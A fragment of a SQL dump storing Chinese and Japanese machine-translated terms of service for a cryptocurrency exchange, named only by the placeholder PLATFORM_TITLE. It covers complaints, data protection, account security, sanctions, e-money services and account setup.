10.2 投诉。如果您与 PLATFORM_TITLE 有争议,您同意首先联系我们的支持团队以尝试解决此类争议。如果我们无法通过我们的支持团队解决争议,您和我们同意使用第 10.2 节中规定的投诉流程。您同意在开始第 10.4 节中规定的任何行动之前使用此流程。如果您在根据第 10.4 条采取行动之前未遵循本第 10.2 条规定的程序,我们有权要求相关法院/当局驳回您的行动/申请,除非且直到您完成以下步骤:如果您与 PLATFORM_TITLE 支持部门联系未能解决投诉,请使用我们的投诉表列出您的投诉原因、您希望我们如何解决投诉以及您认为相关的任何其他信息.投诉表格可以在 PLATFORM_TITLE 支持页面 help.PLATFORM_TITLE.com 上找到,也可以从 PLATFORM_TITLE 客户支持处索取。在您提交投诉表后,我们将确认收到您的投诉表。客户投诉专员(“专员”)将考虑您的投诉。该官员将根据您提供的信息以PLATFORM_TITLE 提供的任何信息,在不影响您的投诉的情况下考虑您的投诉。在我们收到您的投诉后的 15 个工作日内,该官员将通过向您发送一封电子邮件(“解决通知”)来解决您在投诉中提出的所有问题,其中该官员将:(i) 提出以您要求的方式解决您的投诉; (ii) 作出拒绝您的投诉的决定并说明拒绝的原因;或 (iii) 提出用替代解决方案解决您的投诉。在某些情况下,如果该官员无法在 15 个工作日内回复您的投诉,该官员将(除非适用法律禁止)向您发送暂缓答复,说明延迟回复您的投诉的原因并指定截止日期该官员将回复您的投诉(不迟于我们收到您的投诉后的 35 个工作日)。向您提出的任何解决方案只有在您接受的情况下才对我们具有约束力。提出解决方案并不构成我们承认与投诉主题有关的任何不当行为或责任。


10.3 如果我们无法通过上文第 10.2 节中规定的投诉程序解<br>决您的投诉,您可以通过下文第 10.4(A) 至 10.4(B) 节中适用<br>于您的争议程序升级您的投诉。


10.4 您和我们双方同意,在第 10.2 条规定的投诉程序完成<br>之前,我们不会就您的全部或部分投诉启动下文第 10.4(A) 至 10.4(B) 条规定的任何争议程序。已完成,尽管第 10.2 节或本第 10.4 节中的任何内容均不得解释为阻止任何一方在任何有管辖权的法院寻求保全或类似的临时救济:


(A) 电子货币服务。如果您的投诉与任何电子货币服务有<br>关,您可能有权将该投诉提交给 FOS,如第 4.13 节所述。


(B) 对于因本协议或提供 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台或网站而产生或与之相关的投诉或争议,如果无法通过上文第10.2 条规定的投诉程序解决,您提交给非- 英格兰和威尔士法院的专属管辖权,但不损害消费者(即不从事与其贸易、业务或专业相关的行为的个人,“消费者”)在管辖法院对PLATFORM_TITLE 提起诉讼的任何强制性权利他们居住的地方。


11. 数据保护。


11.1 个人资料。您承认我们可能会处理与您有关的个人数据(如果您是个人),以及您已经提供(或将来提供)给我们的与您的员工和其他员工或其他个人(如果您不是个人),与本协议或 PLATFORM_TITLE 服务有关。我们将根据构成本协议一部分的隐私政策处理这些个人数据吨。因此,您声明并保证:


(A) 您向我们披露与您以外的个人有关的任何个人数据已经或将按照所有适用的数据保护和数据隐私法进行,并且这些数据在披露时是准确的、最新的和相关的;


(B) 在向我们提供任何此类个人数据之前,您承认您已阅读并理解我们的隐私政策,其副本可在此处获得:隐私政策,如果是与您以外的个人有关的个人数据,已经(或将在披露时)向个人提供了一份副本,或将个人引导至包含该隐私政策(不时修订)的网页;


(C) 如果我们不时向您提供隐私政策的替代版本,您将立即阅读该通知并将隐私政策的更新副本提供给或重定向到包含更新隐私政策的网页,任何您已向我们提供其个人数据的个人。


12. 安全


12.1 密码安全。为了访问 PLATFORM_TITLE 服务,您需要创建或获得安全详细信息,包括用户名和密码。您有责任确保您访问 PLATFORM_TITLE 服务所使用的电子设备的安全,并对您用于访问 PLATFORM_TITLE 服务的任何和所有安全细节保持足够的安全性和控制。这包括采取一切合理措施避免此类电子设备丢失、被盗或误用,并确保此类电子设备得到加密和密码保护。您的电子设备或您的安全详细信息的任何丢失或损坏都可能<br>导致第三方未经授权访问您的 PLATFORM_TITLE 账户,以及您的 PLATFORM_TITLE 账户和任何相关联的任何电子货币、数字货币和或资金的丢失或被盗账户,包括您关联的银行账户和信用卡。您必须始终确保您的安全详细信息安全。例如,您不应将它们写下来或以其他方式让其他人看到它们。当您登录到您PLATFORM_TITLE 帐户时,您不应允许远程访问或与其他人共享您的计算机和/或计算机屏幕。 PLATFORM_TITLE 在任何情况下都不会要求您提供您的 ID、密码或 2 因素身份验证码或屏幕共享或以其他方式试图访问您的计算机或帐户。除非根据第 3.2 和 4.10 节特别授权,否则您不应将您的详细信息提供给任何第三方以远程访问您的帐户。如果您对任何通信或通知的真实性有任何不确定性,请始终通过本网站登录您的 PLATFORM_TITLE 帐户以查看任何交易或所需的操作。对于因 PLATFORM_TITLE 的无过错和/或未遵循本第 12.1 节中规定的要求,或未遵循或按照我们的任何通知或警报采取行动而导致帐户登录凭据泄露而造成的任何损失,我们不承担任何责任可以发给你。


12.2 身份验证和验证。为了访问 PLATFORM_TITLE 服务,用户需要提供电子邮件地址并创建密码。 PLATFORM_TITLE 通过用户的移动设备(短消息服务(“SMS”)或受支持的基于时间的一次性密码应用程序提供双重身份验证。需要经过验证的电话号码才能通过短信启用双重身份验证。用户负责保持用于访问 PLATFORM_TITLE 服务的电子设备的安全,并保持足够的安全性和控制用于访问 PLATFORM_TITLE 服务的任何和所有安全细节。这包括采取所有合理的步骤来避免所述电子设备的丢失、被盗或滥用,以及确保所述电子设备受密码保护。个人电子设备或安全细节的任何丢失或泄露都可能导致第三方未经授权访问用户的 PLATFORM_TITLE 帐户以及任何电子货币、数字货币和/或您的 PLATFORM_TITLE 账户中持有的资金以及任何相关账户的滥用,包括关联的银行账户和信用卡/借记卡。


12.3 安全漏洞。如果您怀疑您的 PLATFORM_TITLE 帐户或您的任何安全详细信息已被泄露,或者您发现任何欺诈或企图欺诈或任何其他影响您和/或 PLATFORM_TITLE 的安全事件(包括网络安全攻击)(统称为“安全漏洞”),您必须:


(A) 尽快通过免费电子邮件通知 PLATFORM_TITLE 支持trust@PLATFORM_TITLE.com,或致电我们:0808 168 4639,或 +1 (888) 908 7930(可能收取国际费用);


(B) 在整个安全漏洞期间继续提供准确和最新的信息;


(C) 您必须采取我们合理要求的任何步骤来减少、管理或报<br>告任何安全漏洞。未能提供及时通知在我们确定适当的解决方案时,可能会考虑任何安全漏洞。


12.4 您的计算机和设备的安全和保障。 PLATFORM_TITLE 不对任何可能影响您的计算机或其他设备的计算机病毒或其他恶意代码或任何网络钓鱼、欺骗或其他攻击造成的任何损害或中断负责。我们建议定期使用信誉良好且随时可用的病毒筛查和预防软件。您还应该知道,SMS 和电子邮件服务容易受到欺骗和网络钓鱼攻击,并且在查看声称来自我们的消息时应小心谨慎。


13. 一般


13.1 您遵守适用法律。您在使用 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站。


13.2 有限许可。根据本协议的条款,我们授予您有限的、非排他性的、不可转让的许可,以访问和使用本网站以及相关的内容、材料、信息(统称为“内容”),仅用于批准的目的:我们不时允许。明确禁止对本网站或内容的任何其他使用,并且本网站或内容的所有其他权利、所有权和利益均为 PLATFORM_TITLE 及其许可人的财产。您同意不复制、传输、分发、销售、许可、逆向工程、修改、发布或参与转让或销售、创建衍生作品或以任何其他方式利用任何内容,无论是全部还是在部分。“PLATFORM_TITLE.com”、“PLATFORM_TITLE”、“PLATFORM_TITLEPro”、“Pro.PLATFORM_TITLE.com”以及与 PLATFORM_TITLE 服务相关或显示在网站上的所有徽标是 PLATFORM_TITLE 或其许可方的商标或注册商标。未经我们事先书面同意,您不得复制、模仿或使用它们。


13.3 禁止和有条件的使用。关于您对 PLATFORM_TITLE 服务的使用以及您与其他用户和第三方的互动,您同意遵守“禁止使用、禁止业务和有条件使用的政策”(如附录 1 所述)。此处包含的任何内容均不得解释为以暗示、禁止反言或其他方式授予电子货币或数字货币用于非法、非法、欺诈、不道德或未经授权的目的或促进或促进任何非法、非法、欺诈、不道德或未经授权的活动。我们保留随时监控、审查、保留和/或披露任何必要信息的权利,以满足任何适用法律、法规、制裁计划、法律程序或政府要求。


13.4 出口管制和制裁。您对 PLATFORM_TITLE 服务和网站的使用受国际出口管制和经济制裁要求的约束。通过网站或 PLATFORM_TITLE 服务发送、接收、购买、出售、交易或存储数字货币,即表示您同意遵守这些要求。在以下情况下,您不得通过本网站<br>获取数字货币或使用任何 PLATFORM_TITLE 服务:


(A) 您在古巴、伊朗、朝鲜、苏丹或叙利亚或受美国禁运、联合国制裁、欧盟或英国财政部金融制裁的任何其他国家地区、受其控制或国民或居民制度(每个“受制裁国家”),或者如果您是适用当局(包括但不限于金融制裁实施办公室(英国财政部的一部分)不时发布的经济制裁名单上的人,美国商务部的拒绝人员名单、未经核实的名单或实体名单,或欧盟金融制裁制度)(“受制裁人”);或者


(B) 您打算向受制裁国家(或受制裁国家的国民或居民)或受制裁人提供任何获得或存储的数字货币或电子货币或 PLATFORM_TITLE 服务。


13.5 修正。我们将至少提前两个月通过电子邮件通知您有关电子货币服务的协议的任何变更。在这种情况下,如果您在<br>变更生效日期前未另行通知我们,则视为您已接受变更并继续使用 PLATFORM_TITLE 服务。如果您不接受更改,则应告知我们,本协议将在两个月通知结束时终止。您也可以在两个月通知到期之前的任何时间立即免费终止本协议。我们可以通过在网站上发布修订后的协议或通过电子邮件将其发送给您,对协议进行所有其他修订(包括与任何其他 PLATFORM_TITLE 服务有关的修订),表明修订后的协议何时生效。尽管我们会尽力在可能的情况下提前通知您,在合法的情况下,我们可能会表明修改后的协议应立即生效,如果您不同意任何此类修改,您应关闭您的 PLATFORM_TITLE 账户并停止使用 PLATFORM_TITLE 服务。您同意以上述方式发出的任何修改通知应足以通知您,并且您继续访问和/或使用 PLATFORM_TITLE 服务和/或本网站应构成您对修改的肯定确认,并应被视为表示您接受修订后的协议。本协议的最新版本将随时在网站上提供。


13.6 双方的关系。本协议中的任何内容均不应被视为或旨在被视为,也不应导致您或 PLATFORM_TITLE 被视为合作伙伴或合资企业,或您或 PLATFORM_TITLE 被视为另一方的代理人。


13.7 他人的隐私。如果您通过 PLATFORM_TITLE 服务收到有关其他用户的信息,您必须对该信息保密,并且仅将其用于与 PLATFORM_TITLE 服务相关的用途。除非您得到用户的明确同意,否则您不得向第三方披露或分发用户信息或使用该信息,除非为执行交易和其他合理附带的功能(例如支持、对账和会计)而合理必要。您不得通过 PLATFORM_TITLE 服务向其他用户发送未经请求的通信。


13.8 联系信息。您有责任在您的 PLATFORM_TITLE 账户资料中更新您的联系方式(包括您的电子邮件地址和电话号码),以便接收我们可能发送给您的任何通知或警报(包括实际或疑似安全漏洞的通知或警报) )。有关我们将如何与您沟通的更多详细信息,请参阅附录 3。


13.9 税收。您有责任确定任何税款是否适用于您通过 PLATFORM_TITLE 服务进行的任何交易,以及在何种程度上适用于您通过 PLATFORM_TITLE 服务进行的任何交易,并向相应的税务机关代扣、收取、报告和汇缴正确的税款。您的交易历史可通过您的 PLATFORM_TITLE 账户获得。


13.10 无人认领的财产。如果我们代表您持有电子货币或数字货币,并且我们无法与您联系并且几年来没有您使用 PLATFORM_TITLE 服务的记录,则适用法律可能要求我们将电子货币或数字货币报告为无人认领的财产在某些司法管辖区的当局。我们将尝试在我们记录中显示的地址找到您,但如果我们无法找到您,我们可能需要将任何此类电子货币或数字货币作为无人认领的财产交付给某些司法管辖区的当局。在适用法律允许的情况下,我们保留从此类无人认领的资金中扣除休眠费或其他管理费用的权利。


13.11 账户持有人死亡。出于安全原因,如果我们收到确认您死亡的法律文件或其他使我们相信您已经死亡的信息,我们将冻结您的 PLATFORM_TITLE 账户,在此期间,任何交易都可能完成,直到:(i) 您指定的执行人/受托人已经开设一个新的 PLATFORM_TITLE 账户或以他们的名义通知 PLATFORM_TITLE 另一个现有的 PLATFORM_TITLE 账户,如下所述,并且您的全部 PLATFORM_TITLE 账户已<br>转移到该新账户,或 (ii) 我们已收到表格形式的证明令我们满意的是你没有死。如果我们有理由相信您可能已经死亡,但我们没有以我们满意的形式证明您的死亡,您授权我们直接或通过第三方进行调查,我们认为有必要确定您是否已经死亡.在我们收到令我们满意的您去世的证据后,您在有效遗嘱或类似遗嘱文件中指定的执行人/受托人将被要求开设一个新的 PLATFORM_TITLE 账户或通知 PLATFORM_TITLE 另一个以其名义现有的 PLATFORM_TITLE 账户您的 PLATFORM_TITLE 账户中的全部资金应转入其中。如果您没有指定执行人/受托人,那么我们保留以下权利: (i) 将任何有权继承您的 PLATFORM_TITLE 帐户的人视为您的执行人/受托人,由我们在收到和审查我们唯一的文件后确定和绝对酌情权,认为必要或适当,包括(但不限于)遗嘱或类似文件,或 (ii) 要求对您的财产具有管辖权的法院指定执行人/受托人的命令。如果我们全权酌情确定执行人/受托人指定的有效性存在不确定性,我们保留在采取任何与你的 PLATFORM_TITLE 帐户。根据上述规定,除非您的指定的执行人/受托人已经持有 PLATFORM_TITLE 账户(在这种情况下,他们可能仍需要进行额外的身份验证程序),在 PLATFORM_TITLE 账户所有者去世后,必须由指定的执行人/受托人开设新的 PLATFORM_TITLE 账户,并且您在此同意,您的执行人/受托人将被要求开设一个新的 PLATFORM_TITLE 账户并提供本协议第 3 节所要求的信息,以便访问您的 PLATFORM_TITLE 账户的内容。


13.12 完整协议。本协议(包括通过引用并入本文的文件)构成您与 PLATFORM_TITLE 之间就本协议标的达成的全部理解和协议,并取代任何和所有先前的任何形式的讨论、协议和理解(包括但不限于任何先前版本的本协议),以及您与 PLATFORM_TITLE 之间的所有性质。


13.13 解释。本协议中的章节标题仅为方便起见,不管辖本协议任何条款的含义或解释。


13.14 转让和转让。本协议是您个人的,您不能将您的权利、许可、利益和/或义务转让或转让给任何其他人。我们可以随时转让或转让我们的权利许可、利益和/或我们的义务,包括作为涉及 PLATFORM_TITLE 的合并、收购或其他公司重组的一部分,前提是这种转让或转让不会对 PLATFORM_TITLE 服务的质量产生重大影响你收到。在遵守上述规定的前提下,本协议将具有约束力,并符合各方、其继承人和获准受让人的利益。如果我们转让和/或转让协议,您保留立即终止协议的权利。


13.15 担保权益。除非您事先获得我们的书面批准,否则您不得为您的电子货币或数字货币设置安全性。


13.16 无效。如果根据任何适用法律确定本协议的任何条款无效或不可执行,这不会影响任何其他条款的有效性。如果发现任何条款无法执行,则无法执行的条款将被切断,其余条款将被执行。


13.17 行使我们的权利。我们可能并不总是严格执行我们在本协议下的权利。如果我们在任何时候都选择不行使我们的权利,这是一项临时措施,我们可能会随时再次严格行使我们的权利。


13.18 语言。本协议以及您或我们要提供的任何信息或通知应为英文。本协议或其他文件的任何译文仅为您的方便而提供,可能无法准确地表示英文原文中的信息。如有任何不一致,以本协议或其他文件的英文版本为准。


13.19 控制权变更。如果 PLATFORM_TITLE 被第三方实体收购或合并,我们保留在任何这些情况下转让或转让我们从您那里收集的信息以及我们与您的关系(包括本协议)作为一部分的权利此类合并、收购、出售或其他控制权变更。


13.20 生存。本协议的所有条款因其性质超出本协议的到期或终止,包括但不限于与暂停或终止、PLATFORM_TITLE 帐户取消、欠 PLATFORM_TITLE 的债务、PLATFORM_TITLE 平台或网站的一般使用有关的部分,与 PLATFORM_TITLE 的争议,一般条款将在本协议终止或到期后继续具有约束力和运作。


13.21 适用法律。本协议和我们之间的关系应受英格兰和威尔士法律的管辖,但须遵守任何当地强制性法律或消费者可获得的权利。

', '0', '2023-08-16 16:07:05', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100121, '服务条款', 'ja', '

Eユーザプロトコルです


本契約(「契約」)は、米国、英国、eea、日本、シンガポール以外にお住まいのお客様に適用されます。


これらの用語を見ていると緑色のテキストがありますこれらの条項はCB Payments, Ltdがご提供する規制対象サービスにのみ適用され、PLATFORM_TITLE Kenya Limitedがご提供するサービスには適用されません。


CB Payments, Ltd (PLATFORM_TITLEの名でも取引されています)は英国金融行為監督庁の監督を受けています。


これはあなたと以下の当事者との間の契約です:CB Payments Ltd (PLATFORM_TITLE Payments)は、イングランドとウェールズで設立された民間有限会社で、会社番号は09708629です。登録オフィスの住所は5 Fleet Place, London EC4M 7RD, United Kingdomです;PLATFORM_TITLE Ascending Markets Kenya Limited(「PLATFORM_TITLEKenya」)はケニアで設立された民間有限会社です(会社番号pvt-27u5y39y)。郵便ポスト10643番郵便ポストケニアのナイロビですこのプロトコルにおける「PLATFORM_TITLE」、「私たち」、「私たちの」、または「私たち」への言及は、PLATFORM_TITLE Paymentsおよび/またはPLATFORM_TITLE Kenyaを意味し、特に議論されているサービスに依存します。「あなた」または「あなたの」への引用は、PLATFORM_TITLEと本契約を結んだ人を意味します。PLATFORM_TITLE.comまたはpro.PLATFORM_TITLE.comを介して利用アカウントを登録するか、または当社の任意の関連サイト、アプリケーションプログラムインターフェース(「API」)、またはモバイルアプリケーション(総称「ウェブサイト」)を介して利用アカウントを登録します。すなわち、この合意に含まれるすべての条項と条件、ならびに当社のプライバシーポリシーとクッキーポリシーを読み、理解し、受け入れることに同意するという意味です。電子マネーサービス、デジタルマネーサービス、および付加サービス(以下の定義を参照)を総称して「PLATFORM_TITLEサービス」と呼びます。PLATFORM_TITLEが運営するプラットフォーム(「PLATFORM_TITLEプラットフォーム」)(オンラインプラットフォームを含む)からアクセス可能webサイトまたはPLATFORM_TITLEが時折定める場所からアクセス可能です)。PLATFORM_TITLE <br>Paymentsが自ら電子マネーサービスの提供を決めた場合にのみ、電子マネーサービスへのアクセスが自動的に提供されます。


以下の2で説明するように、各PLATFORM_TITLEサービスは、PLATFORM_TITLE PaymentsまたはPLATFORM_TITLE Kenyaによって提供されます。*デジタル通貨を取引したり保有したりした場合、損失のリスクが大きいことはおわかりでしょう。どのような資産と同様に、デジタル通貨の価値は上昇または下落する可能性があり、デジタル通貨を購入、売却、保有または投資する際に損失を被るという大きなリスクがあります。デジタル通貨サービスおよび追加サービスは現在、金融行為監督当局、ケニア中央銀行、英国またはケニアの他のいかなる監督機関の監督も受けていません。デジタル通貨サービスおよび付加サービスは英国金融監査院のサービスの管轄外にあり、あなたのデジタル通貨および電子マネーは英国金融サービス補償プログラムの保護を受けません。ケニア中央銀行の2015年通知第14号によると、デジタル通貨はケニアでは法定通貨ではないため、PLATFORM_TITLEが財政的困難に直面した場合、保護を受けることはできません。あなたの財務状態に応じて、デジタル通貨を取引したり保有したりすることが適切かどうかをよく考えるべきです。*


1.資格です。


いずれかのPLATFORM_TITLEサービスの利用資格を得るには、18歳以上であることと、該当するPLATFORM_TITLEサービスにアクセスできる国・地域に居住していることが必要です。すべての国でPLATFORM_TITLEサービスが利用できるわけではありませんのでご注意ください。国/地域別にアクセス可能なPLATFORM_TITLEサービスの一覧はhttps://www.PLATFORM_TITLE.com/globalにあります。


2.サービスです。


2.1電子マネーサービスです。


PLATFORM_TITLE Paymentsは、次のようなサービス(「電子マネーサービス」)を提供する可能性があります。(A) CB Paymentsが発行する法定通貨(「電子マネー」)で計算された電子マネーを保存できるデジタルウォレット(「電子マネーウォレット」)をホストします。と


(B)電子マネーの送受信を可能にするいくつかの支払いサービス(以下で説明する)。


電子マネーサービスは英国金融行為監督庁(「FCA」)の監督下にあります。PLATFORM_TITLE PaymentsはFCAが認可・規制する認可電子マネー機関で、登録番号は900635です。電子マネーサービスへのアクセスは自動ではなく、PLATFORM_TITLE Paymentsがこれらのサービスの提供を自ら決定した場合にのみ提供されます。


2.2デジタル通貨サービスです。


PLATFORM_TITLE Kenyaは、以下のサービス(「デジタル通貨サービス」)を提供する可能性があります:


(A)サポートされているいくつかのデジタル通貨(ビットコインやエセリウムなど)の残高(総称して「デジタル通貨」または「デジタル通貨」と呼ばれます)を保存、追跡、転送、管理することができる1つまたは複数のホストデジタル通貨ワレット(「デジタル通貨ワレット」)。


(B)デジタル通貨交換サービスは、あなたがデジタル通貨を購入して販売する価格を得ることができ、ウェブサイト上で(一定の制限を受けて)そのような購入または販売を行うことができるサービスです(「デジタル通貨交換サービス」)。電子マネーサービスと違って、デジタルマネーサービスは規制されていません。PLATFORM_TITLE Kenyaは規制金融サービスプロバイダーではありません。PLATFORM_TITLE Kenyaはケニアにありケニアでサービスを提供しています重要なヒント:PLATFORM_TITLE Kenyaは規制された金融サービスプロバイダーではなく、ケニア中央銀行、資本市場庁、またはケニアの他の金融サービス監督機関に登録、監督、または権限を与えられていません。そのため、投資家や預金保護プログラムなど、これらの規制された団体に関連する規制保護を利用することはできません。


2.3その他のPLATFORM_TITLEサービス


コアサービス(電子マネーサービスおよびデジタルマネーサービス)に加えて、PLATFORM_TITLE Kenya(またはPLATFORM_TITLEグループの他のメンバー。定義は2.6項参照)は、ある資格基準を満たすユーザーに以下のサービス(「追加サービス」)を提供する可能性があります。


(A)デジタル通貨註文簿交換プラットフォーム(付録4参照)(「PLATFORM_TITLE Pro」);


(B) PLATFORM_TITLEが提供する開発アプリケーション(付録5参照)(「開発者ツール」)です。


(C)質的サービス(詳細は付録6を参照)(「質的サービス」)です。


2.4いくつかの責任です。PLATFORM_TITLE PaymentsとPLATFORM_TITLE Kenyaの責任は連帯ではなく単独であることに同意されます。そして、PLATFORM_TITLE PaymentsおよびPLATFORM_TITLE Kenyaは、それぞれ本プロトコルの下での義務およびそれらの違反に対してのみ責任義務を負います。これは、彼らの一人一人が、お互いの違反行為に対してではなく、あなた自身の違反行為に対して責任を持つことを意味します。


2.5料金です。あなたが責任を持って支払い、すべての費用を支払うことに同意します。PLATFORM_TITLEサービスの完全な料金明細(時々変更されます)は、本契約の一部をなすウェブサイトの「価格設定および料金開示」ページおよび「取引料金」ページで見ることができます。


2.6 PLATFORM_TITLEグループです。本契約における「PLATFORM_TITLEグループ」とは、PLATFORM_TITLE Kenyaとその子会社のことで、デジタル通貨のストレージやワレットサービスを提供するデラウェア州の企業PLATFORM_TITLE, Inc.が含まれます。この定義には、PLATFORM_TITLE Paymentsを含むがこれらに限定されませんが、電子マネーサービスのみを提供するすべての企業の子会社を含みません。


2.7支払いサービスパートナーです。PLATFORM_TITLEは、関連する国/地域の関連する中央銀行が発行する通貨建てであなたとPLATFORM_TITLEとの間のいかなる支払いも、第三者の決済プロセッサまたは入金エージェントを使用して処理することができます。関連した支払いを含みますが、これらに限定されません。電子マネーのウォレット、またはPLATFORM_TITLEアカウントにおけるデジタル通貨の取引、預金または引き出しの使用を禁止します。


3.アカウントの設定です。


3.1 PLATFORM_TITLEアカウントを登録します。PLATFORM_TITLEサービスを利用するには、詳細情報(お名前、eメールアドレス、パスワードを含む)の提供と本契約の約款を受け入れてPLATFORM_TITLEアカウント(「PLATFORM_TITLEアカウント」)を登録する必要があります。PLATFORM_TITLEアカウントを使用するということは、このプロトコルのセクション3.2および4.10に従って事前にPLATFORM_TITLEの承認を得ていない限り、あなた自身がPLATFORM_TITLEサービスを使用することに同意していることを意味します。PLATFORM_TITLEアカウントの登録はお客様1人につき1つしかできません。あなたはあなたのPLATFORM_TITLEアカウントで発生したすべての活動に対してすべての責任を負います。PLATFORM_TITLEアカウントの開設を拒否するか、または任意のPLATFORM_TITLEアカウント(重複アカウントを含みますがこれに限定されません)を一時停止または終了するか、またはPLATFORM_TITLEアカウント内の特定のデジタル通貨の取引を一時停止または終了するかは、私たち自身で決定することができます。


3.2サードパーティアクセスです。4.10条によって許可される範囲内で、監督される第三者が監督される第三者の製品またはサービスを介して、またはウェブサイトを介してPLATFORM_TITLEアカウントにアクセスまたは接続することを明示的に許可する場合、監督される第三者があなたに代わって特定の行動を取る許可を与えることは、本契約の下であなたの責任を免除するものではありません。あなたは、あなたのPLATFORM_TITLEアカウントにアクセスした監督された第三者のすべての行為または不行為に対してすべての責任を負い、その監督された第三者のすべての行為は、あなたの許可された行為とみなされるべきです。さらに、あなたのPLATFORM_TITLEアカウントにアクセスした監督された第三者の行為または不行為によって生じた、またはそれに関連するいかなる責任についても、PLATFORM_TITLEに対してPLATFORM_TITLEを要求することなく、PLATFORM_TITLEを賠償することをあなたは承認し、同意します。PLATFORM_TITLEアカウントに関して監督対象の第三者に付与した権限を、webサイトの「設定」ページ上のタブからいつでも変更または削除することができます。

3.3本人認証です。あなたは、私たちが要求する情報(私たちはyが必要と認める場合は何でも要求することができます)を、マネーロンダリング、テロ資金調達、詐欺、または他の金融犯罪の捜査のために使用することに同意し、付録2(検証手順と制限)に規定されているものを含め、私たちがそのような情報の記録を保持することを許可します。PLATFORM_TITLEサービスの利用を開始し、特定のPLATFORM_TITLEサービスにアクセスするには、いくつかの認証手続きを完了する必要があります。これには、いくつかの電子マネーやデジタルマネーの転送が含まれます。PLATFORM_TITLEサービスのご利用に適用される制限は、継続的に収集される情報により変更される場合があります。要求する情報には個人情報が含まれる場合がありますが、これらに限定されるものではありません。例えば、お名前、居住地、電話番号、eメールアドレス、生年月日、納税者識別番号、政府の識別番号、銀行口座に関する情報(例えば、銀行名、口座タイプ、ルーティング番号および口座番号)ネットワーク状態、顧客タイプ、顧客役割、課金タイプ、移動機器識別子(例えば、国際移動体加入者idと国際移動体デバイス識別子)部分)およびその他のユーザステータス詳細情報、および適用法に従ってPLATFORM_TITLEが時々収集するように要求される何らかのこのような情報です。あなたはまた、「強化デューデリジェンス」(以下6.2節参照)を行う必要があるかもしれません。ここでPLATFORM_TITLEはあなた自身またはあなたの業務に関する他の情報の提出、関連記録の提供、PLATFORM_TITLEの従業員との会議のスケジュールを要求するかもしれません。PLATFORM_TITLEは以下のようなことができるようにします。PLATFORM_TITLEサービスの使用中に行われる任意の取引の富の出所と資金の出所を特定します。私たちにこの情報または必要とされる可能性のある他の情報を提供する場合、あなたはその情報が真実で、正確で、完全であることを確認します。また、PLATFORM_TITLEアカウントを登録するためのPLATFORM_TITLEの評価に影響を与える可能性のある情報を隠したり、PLATFORM_TITLEサービスを提供したりしていません。あなたは、提供されたこのようないかなる情報も虚偽、不正確、または不完全になる可能性があるいかなる状況変化についての情報を書面で通知し、PLATFORM_TITLEにタイムリーに提供することを約束し、PLATFORM_TITLEが要求する可能性があるいかなる他の追加のファイル、記録、情報、および/または適用法を提供することを約束します。このような情報の記録を保持することを許可していただきます。私たちはこれらの情報を第11条(データ保護)に従って処理します。あなたの身元を確認するため、または詐欺または他の金融犯罪からあなたおよび/または私たちを保護するために必要と認められる照会を直接または第三者を介して私たちに許可し、その結果に基づいて私たちが合理的に必要と認める行動照会を行います。私たちがこれらの照会を行うと、あなたの個人情報が信用リファレンス、詐欺予防または金融犯罪機関に開示される可能性があることを承認し同意し、これらの機関は私たちの照会に全面的に応じてくれるかもしれません。これはあくまでも身分確認であって、あなたの信用格付けに悪影響を及ぼすものではありません。また、PLATFORM_TITLEサービスの追加利用および/または特定の取引量の制限を超える取引を許可するためには、取引完了後しばらくお待ちいただく必要がある場合がございます。


4電子マネーサービスです


4.1ロードします。送金(またはウェブサイト上で自分の場所に適した他の支払い方法)を使って資金をe-moneyウォレットに入金することができます。入金を受け取ると、e-moneyウォレットはロードされた資金を表示します。資金のロードは手動で行うこともできますし、PLATFORM_TITLEアカウントに設定された定期的な取引の一部として利用することもできます(より詳しい情報については、次の5.12節を参照)。自分のアカウントから自分の資金をロードすることができますが、任意の統合、集合、または第三者のアカウントからロードすることはできません。資金がe-moneyウォレットにロードされると、PLATFORM_TITLE Paymentsはロードされた資金の代わりにe-moneyを発行します。電子マネーのウォレットは預金口座や投資口座ではありません。つまり、あなたの電子マネーは金融サービス補償プログラムから保護されないことになります。PLATFORM_TITLE Paymentsは、利用者からの資金を規制対象金融機関の指定保管口座に預けるだけです。電子マネーのワレットの中の電子マネーは、金利を稼ぐことはありません。お持ちの電子マネーウォレットは、異なる通貨建ての電子マネーをお持ちの場合があります。お持ちの各通貨の電子マネー残高を表示します。


4.2デジタル通貨を購入または販売します。対応デジタル通貨は、電子マネーウォレットに記入した電子マネーで購入することができます。電子マネーを利用してデジタル通貨を取引するには、ウェブサイトの説明に従わなければなりません。電子マネーを用いたデジタルマネーの取引は、通常、ご指示を受けてから一営業日以内に決済されます。私たちに電子マネーウォレットから電子マネーを差し引く権限を与えます。できるだけ早くデジタル通貨をお渡ししようと試みますが、デジタル通貨をお渡しするまでの間、電子マネーはお渡しするウォレットから差し引かれる可能性があります。電子マネーと引き換えにデジタルマネーを販売することができます。あなたのデジタル通貨のワレットからお金を借りて、電子通貨のワレットに関連する金額の電子マネーを記入することを許可します。


4.3コマンドを受信します。営業日以外、または営業日の午後4時30分(ロンドン時間)以降にe-moneyを利用してデジタル通貨を購入するよう指示を受けた場合、その指示を下記の時刻に受け取った営業日の指示とみなす場合があります。


4.4撤回します。例えば、将来の取引を設定している場合など、将来の取引が約束された日にならない限り、電子マネーを使用してデジタル通貨取引を行うことを当社に指示した場合、デジタル通貨取引の同意を撤回することはできません(詳細については、次の5.12節を参照)。将来の取引の場合、将来の取引期日の前日までに同意を撤回することができます。将来の取引についての同意を撤回するには、ウェブサイトの説明に従ってください。


4.5不成功な支払いです。電子マネーウォレットへの入金が失敗した場合、PLATFORM_TITLEは関連するデジタル通貨取引をキャンセルするか、あるいはPLATFORM_TITLE残高または他の関連アカウントを含む他の支払い方法から関連するデジタル通貨取引を完了するために必要な金額を引き落とすことを自分で決定することを許可します。あなたは、貸し越しを回避するために、またはプロバイダーが課した同様の料金を支払うために、十分な残高および/または十分な信用限度を維持する責任があります。


4.6アカウント情報です。当サイトを使用して、電子マネーのウォレットの残高および取引履歴を見ることができます。(i)一度にデジタルマネーを購入した金額(および通貨)、(ii)支払者および/または受取者を識別する参照(場合によっては)、(iii)請求された任意の料金(料金明細を含む)、(iv)通貨を交換した場合、交換レートおよび交換後の金額(新通貨ベース)(あなたのいる場所)支払者)または交換前の金額(元通貨ベース)(あなたが受取人)、および(v)各デジタル通貨の購入時の支払日(場合によっては)です。


